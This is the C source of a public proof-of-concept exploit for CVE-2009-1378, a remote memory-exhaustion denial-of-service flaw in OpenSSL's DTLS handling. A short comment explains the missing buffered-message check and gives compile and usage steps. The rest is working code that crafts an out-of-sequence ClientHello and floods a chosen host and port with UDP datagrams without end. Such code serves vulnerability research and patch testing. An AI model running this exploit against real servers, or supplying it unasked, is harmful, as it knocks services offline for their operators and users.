/*
 * cve-2009-1378.c
 *
 * OpenSSL <= 0.9.8k, 1.0.0-beta2 DTLS Remote Memory Exhaustion DoS
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1378
 *
 *   In dtls1_process_out_of_seq_message() the check if the current message is
 *   already buffered was missing. For every new message was memory allocated,
 *   allowing an attacker to perform an denial of service attack with sending
 *   out of seq handshake messages until there is no memory left.
 *
 * Usage:
 *
 *   Pass the host and port of the target DTLS server:
 *
 *   $ gcc cve-2009-1378.c -o cve-2009-1378
 *   $ ./cve-2009-1378 1.2.3.4 666
 *
 * Notes:
 *
 *   With a MTU of 1500, the attack leaks 1503 bytes of memory with each UDP
 *   datagram.  If you have a bigger MTU than 1500, feel free to set it.
 *
 *   Complete memory exhaustion may take a while depending on the throughput
 *   to the target and the amount of memory it has.  By default, we'll just
 *   continue sending datagrams indefinitely.
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>

#define MTU 1500

#define IP_HDR_LEN 20
#define UDP_HDR_LEN 8
#define MAX_LEN (MTU - IP_HDR_LEN - UDP_HDR_LEN)

#define put16(b, data) ( \
        (*(b) = ((data) >> 8) & 0xff), \
        (*((b)+1) = (data) & 0xff))

int
main(int argc, char **argv)
{
 int sock, ret;
 char *ptr, *err;
 struct hostent *h;
 struct sockaddr_in target;
 char buf[MAX_LEN];

 if (argc < 3) {
  err = "Pass the host and port of the target DTLS server";
  printf("[-] Error: %s\n", err);
  exit(1);
 }

 h = gethostbyname(argv[1]);
 if (!h) {
  err = "Unknown host specified";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  exit(1);
 }

 target.sin_family = h->h_addrtype;
 memcpy(&target.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
 target.sin_port = htons(atoi(argv[2]));

 sock = socket(AF_INET, SOCK_DGRAM, 0);
 if (sock == -1) {
  err = "Failed creating UDP socket";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  exit(1);
 }

 ret = connect(sock, (struct sockaddr *) &target, sizeof(target));
 if (ret == -1) {
  err = "Failed to connect socket";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  exit(1);
 }

 ptr = buf;

 /* header  */
 memcpy(ptr, "\x16\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00", 11);
 ptr += 11;

 /* packet length */
 put16(ptr, MAX_LEN - ((ptr - buf) + 2));
 ptr += 2;
 
 /* client hello */
 memcpy(ptr, "\x01", 1);
 ptr += 1;
 
 /* length */
 memcpy(ptr, "\x00", 1);
 ptr += 1;
 put16(ptr, MAX_LEN - ((ptr - buf) + 2 + 8));
 ptr += 2;

 /* sequence number */
 memcpy(ptr, "\x00\x01", 2);
 ptr += 2;

 /* frag offset */
 memcpy(ptr, "\x00\x00\x00", 3);
 ptr += 3;

 /* length */
 memcpy(ptr, "\x00", 1);
 ptr += 1;
 put16(ptr, MAX_LEN - ((ptr - buf) + 2));
 ptr += 2;

 /* payload */
 memset(ptr, '\x00', MAX_LEN - (ptr - buf));

 printf("[+] Firing loads of packets at %s:%s...\n", argv[1], argv[2]);

 while (1) {
  send(sock, buf, MAX_LEN, 0);
 }

 close(sock);

 return 0;
}